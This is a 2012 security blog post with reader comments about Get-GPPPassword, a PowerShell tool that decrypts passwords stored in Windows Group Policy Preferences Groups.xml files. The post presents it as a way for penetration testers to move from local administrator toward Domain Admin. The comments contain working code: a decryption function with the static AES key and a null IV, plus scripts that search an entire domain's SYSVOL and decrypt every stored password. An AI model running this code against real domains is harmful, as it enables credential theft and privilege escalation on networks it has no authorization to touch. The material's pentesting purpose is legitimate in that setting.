Thursday, May 24, 2012

GPP Password Retrieval with PowerShell

Last week, I read a great post entitled "Exploiting Windows 2008 Group Policy Preferences" that I wish I saw sooner.  The article included a nice Python script to accomplish the task of decrypting passwords that were set using the GPP feature in Windows 2008 domains.  However, it looked like something that would be handy to have in a PowerShell script.  Before I continue, I would like to point out the updated disclaimer, it certainly applies to this post.

You should read the original article, but the quick summary is that its possible for any authenticated user (this includes machine accounts) on the domain to decrypt passwords that are enforced with Windows 2008 Group Policy Preferences.  From my experience, this practice is common for larger domains which need to set different local administrator ("500" account) passwords for different OUs.

Python is an excellent scripting language, but PowerShell has two notable advantages in this specific use-case.  First, PowerShell does not require any additional libraries since it has access to the entire .NET framework.  Second, PowerShell is installed by default on all modern Windows systems to include Windows Server 2008 so it can be used right from the machine you are on.

The following Get-GPPPassword PowerShell script can be used by penetration testers to elevate to local administrator privileges (on your way to Domain Admin) by downloading the "groups.xml" file from the domain controller and passing it to the script.  The files are typically found in:

\\domain\SYSVOL\domain\Policies\{*}\Machine\Preferences\Groups\Groups.xml

Get-GPPPassword (Use Updated Version)


To run the function, just copy and paste the text into powershell and type 'Get-GPPPassword'. This will in effect bypass the ExecutionPolicy.

Writing this script ended up not being as easy as I originally thought mostly due to never dealing with .NET and crypto before.  I would like to thank Matt Graeber for solving the null IV issue, Mike Santiago for general code improvements and of course Emilien Giraul (and the Sogeti ESEC Pentest team for their detailed writeup).



Try it out and let me know what you think.

***Update 26 May 2012***
You can also download the maintained version of the script from the PowerSploit repository on GitHub.  It already has some great scripts for Windows post-exploitation on it!

***Update 16 June 2012***
Updated the script block with the improvements from Matt Graeber.  Matt wrapped it into a function and apparently saved a puppy by creating a new object (avoiding the use of write-host).

***Update 3 July 2013***
I have reorganized and rewritten the script. You can find the updated version and read about it here.
-Chris

24 comments:

  1. Saved the script as Get-GPPPassword.ps1 on desktop
    Saved xml in c:\daten\temp

    The password is "123", but decryption failed?
    Where is my mistake?

    XML:




    Run:
    .\Daten\Desktop\Get-GPPPassword.ps1 -path C:\Daten\Temp\test.xml in elvated Powershell.

    PS C:\> .\Daten\Desktop\Get-GPPPassword.ps1 -path C:\Daten\Temp\test.xml
    The account has a password of Error: Decryption Failed!

    ReplyDelete
  2. Mark,

    You weren't making a mistake, I did. I posted the wrong version of the script and I just corrected it. The main issue was with something that Aaron (http://colligomentis.com/) pointed out when I was troubleshooting the decrypt function. Base64 padding (the "=" at the end) is based on the length of the encoded string. The $pad variable should sort that out now. Please try it and let me know. Sorry for the mixup and thanks for posting a comment.

    Chris

    ReplyDelete
  3. I added "$_.Message" to the catch block where it says "Decryption Failed!" so that I could get a more detailed message of what was going wrong, and it is telling me "Decrypt-Password : Decryption Failed! Exception calling "FromBase64String" with "1" argument(s): "Invalid character in a Base-64 string."

    ReplyDelete
  4. Oh, cancel that. My xml file didn't have a password in it. :P

    ReplyDelete
  5. One last thing. I wrote an additional function to go in your Get-GPPPasswords.ps1 script. It scans your current domain for Groups.xml files and uses Get-GPPPasswords on them. Can be useful for finding all the Groups.xml files in your domain as quickly as possible. Feel free to add it to your script if you want:

    function Find-GPPPasswords {

    <#
    .Synopsis

    Scan your own domain in search of valid Groups.xml files in SYSVOL. If found, use Get-GPPPassword on them.
    Author: Ryan Ries (www.myotherpcisacloud.com)

    .Example

    PS C:\> . .\Get-GPPPassword.ps1
    PS C:\> Find-GPPPasswords
    #>
    Write-Host "Now searching $Env:UserDNSDomain for Group Policy Preferences passwords..."
    $GroupsFiles = Get-ChildItem -Path "\\$Env:UserDNSDomain\SYSVOL" -Recurse -Include Groups.xml
    foreach($_ in $GroupsFiles)
    {
    Get-GPPPassword -Path $_
    }
    }

    ReplyDelete
    Replies
    1. In large domains, that approach could be painful, scanning the entire SYSVOL file system for a specific file. There's a couple of better ways to do this. First, you could use Get-ChildItem much deeper into the path, using a loop of all of the GPO GUIDs, so you don't have to recursively search every single folder, since you can reasonably assume where the file is, based on the normal folder structure for GPP settings. Second approach--you don't even need to search the file system. Simply do an AD search under the container CN=Policies, CN=System, DC=. Search on the attributes gPCMachineExtensionNames and gPCUserExtensionNames , for the string "[{17D89FEC-5C44-4972-B12D-241CAEF74509}{79F92669-4224-476C-9C5C-6EFB4D87DF4A}]". That's the CSE guid for LUGs settings.

      Delete
  6. Thanks Ryan! I will take a look at how to make sure you capture what policy each password is from and add that to the script on PowerSploit.

    ReplyDelete
  7. Chris, I restructured this script and added some automation and features. It automates searching the domain similar to how Ryan suggests above while also supporting local decryption like the original. I've tested it and it works very well for me. Some of the changes may be useful to you. Let me know what you think. :)

    http://www.nathanv.com/2012/07/04/pshell-script-extract-all-gpo-set-passwords-from-domain/

    ReplyDelete
  8. Chris,

    I think i found a bug in your script.
    I ran your script on some test GPP and your script wasn't be able to decrypt the password.

    After some debugging i found out that the encrypted password in the groups.xml is sometimes more then 64 chars. And this gives an error for the Base64 function.

    So in the Decrypt-Password function i limited $cPassword to only the first 64 chars and it works like a charm.

    Kind Regards
    DFT

    ReplyDelete
    Replies
    1. How did you do the limitation? i'm trying to limit by doing a $Cpassword.substring(0,63) and i'm still getting the error.

      Delete
    2. DFT,

      What is the exact error? Which part is causing the error?

      Chris

      Delete
    3. it says it cant decrypt. i've just taking the meat of the decryption and broke it into a function.
      Basically, if the modulo 4 of the length of the password is 0, don't pad, if it is anything else, use what is in the original script.
      This way, you can just getpwd -Cpassword encryptedpasswordhere
      and get the value, without having to process the xml. i've had issues with it reading the xml file properly when builtin accounts have password changes set on them.




      function getpwd([string]$Cpassword){
      $pl = $Cpassword.length % 4
      if($pl -eq 0){$pad = ""}
      else{$Pad = "=" * (4 - ($Cpassword.length % 4))}
      $Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
      #Create a new AES .NET Crypto Object
      $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
      #Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
      [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
      #Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
      $AesIV = New-Object Byte[]($AesObject.IV.Length)
      $AesObject.IV = $AesIV
      $AesObject.Key = $AesKey
      $DecryptorObject = $AesObject.CreateDecryptor()
      [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

      return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
      }

      Delete
  9. You might also want to break out the
    [xml] $Xml = Get-Content ($Path)
    lines from each function, running it just once before you call the functions. Instead just assume the $XML variable like you assume the $Path variable in each function. That way you avoid reading the XML file over and over again. I imagine reading the xml file once would be much faster if this script were running in a loop over a number of files.

    ReplyDelete
  10. There is still error in padding
    "Invalid character in a Base-64 string."
    It shows when $Cpassword.length % 4 = 0

    Proper line shoud be:
    $Pad = '=' * ((4 - ($Cpassword.length % 4)) % 4)
    Instead of problematic:
    $Pad = '=' * (4 - ($Cpassword.length % 4))

    Matheos

    ReplyDelete
    Replies
    1. Thank you for pointing that out and sorry for the delay, your comment was marked as spam for some reason.

      I plan on reworking the entire script soon to incorporate this (and other) bug fixes as well as improve the functionality. The maintained version will be available at: https://github.com/mattifestation/PowerSploit

      Thanks again.

      Delete
  11. Script does not work if XML looks like this.


    --- -

    1.st the account is renamed and then password changed.

    It should check all Cpasswords from the XML. Per user o course.

    This could be one reason why your code has not worked every where

    ReplyDelete
  12. This would be better

    $Xml.Groups.User|where {$_.properties.cpassword}|foreach {$_.properties.cpassword}

    $Xml.Groups.User|where { $_.properties.cpassword}|foreach {$_.properties.newName}

    $Xml.Groups.User|where {$_.properties.cpassword}|foreach {$_.properties.userName}

    ReplyDelete
  13. I will add a test for when the username is changed AND the password is changed. I hadn't thought to check that. The new script is laid out differently and am having people check to ensure that it works against other GPP use-cases such as service accounts.

    ReplyDelete
    Replies
    1. There is an error, I removed the line-brake from the aeskey, but still get this:

      Decrypt-Password : Decryption Failed!
      In C:\Daten\Desktop\getit.ps1:85 Zeichen:17
      + $Password = Decrypt-Password

      Delete
    2. Sorry, my fault.
      I did not use the XML from SYSVOL, I used the XML from the Item and then the XML ist formated differently.
      It´s $xml.user.properties.newname instead of: $xml.groups.user.properties.newname

      Delete
  14. OK Maybe I am a rock. I will admit I am not wellversed in Powershell. But here is what I did :
    - Copied and pasted the code from the PowerSploit respository (located under RECON) into a notepad document and saved it as
    Get-GPPPassword.ps1. Launched Powershell and did CD to the folder where I created the file. Grabbed a groups.xml file from Sysvol and point to it with -path paramater
    Executed .\Get-GPPPassword.ps1 -path c:\gpptest\groups.xml

    I hit enter and get nothing back at all. Am I missing something ?

    ReplyDelete
  15. I think the problem that you are running into is that you are trying to use Get-GPPPassword like a script. It is actually just a single function.

    Try opening powershell.exe and pasting the entire function into the shell. That will load the function that you can call with 'get-gpppassword -path c:\gpptest\groups.xml'

    Let me know if that helps.

    ReplyDelete
  16. This changed worked for me with the $pad issue:
    if ($Cpassword.length -lt 64) {
    $Pad = "=" * (4 - ($Cpassword.length % 4))
    }

    Also, I call the script so I can test an entire domain with this:

    import-module ActiveDirectory
    [void][System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic')
    $dnsdom = $env:userdnsdomain
    $Message= "This will run Get-GPPPassword.ps1 on all group.xml files in a given domain.
    Select a domain to continue."
    $dnsdom = [Microsoft.VisualBasic.Interaction]::InputBox($Message, "Domain Name", $dnsdom )
    if ($dnsdom.Length -eq 0) {Exit}
    cls
    write-host "Looking for GPOs with passwords in $dnsdom, please wait...."
    $PolPath = "\\$dnsdom\sysvol\$DNSDOM\Policies"
    pushd
    sl $PolPath
    $results =Get-ChildItem -Include "groups.xml" -recurse -erroraction Silentlycontinue
    popd
    #cls

    foreach ($file in $results) {
    write-host `n
    $guid = $file.fullname.Substring($file.fullname.IndexOf("{"),$file.fullname.Length -$file.fullname.IndexOf("}") -1)
    $gpo = Get-GPO -Guid $guid -Domain $dnsdom
    write-host $gpo.displayname
    Write-Host $file.FullName

    .\Get-GPPPassword.ps1 -path $file.FullName
    }

    ReplyDelete
    Replies
    1. Alan,

      The length of 64 was not a bug, but I did add similar features and fix several bugs in the updated version of the script. I wrote about it here: http://obscuresecurity.blogspot.com/2013/07/get-gpppassword.html. Thanks for the comment!

      Chris

      Delete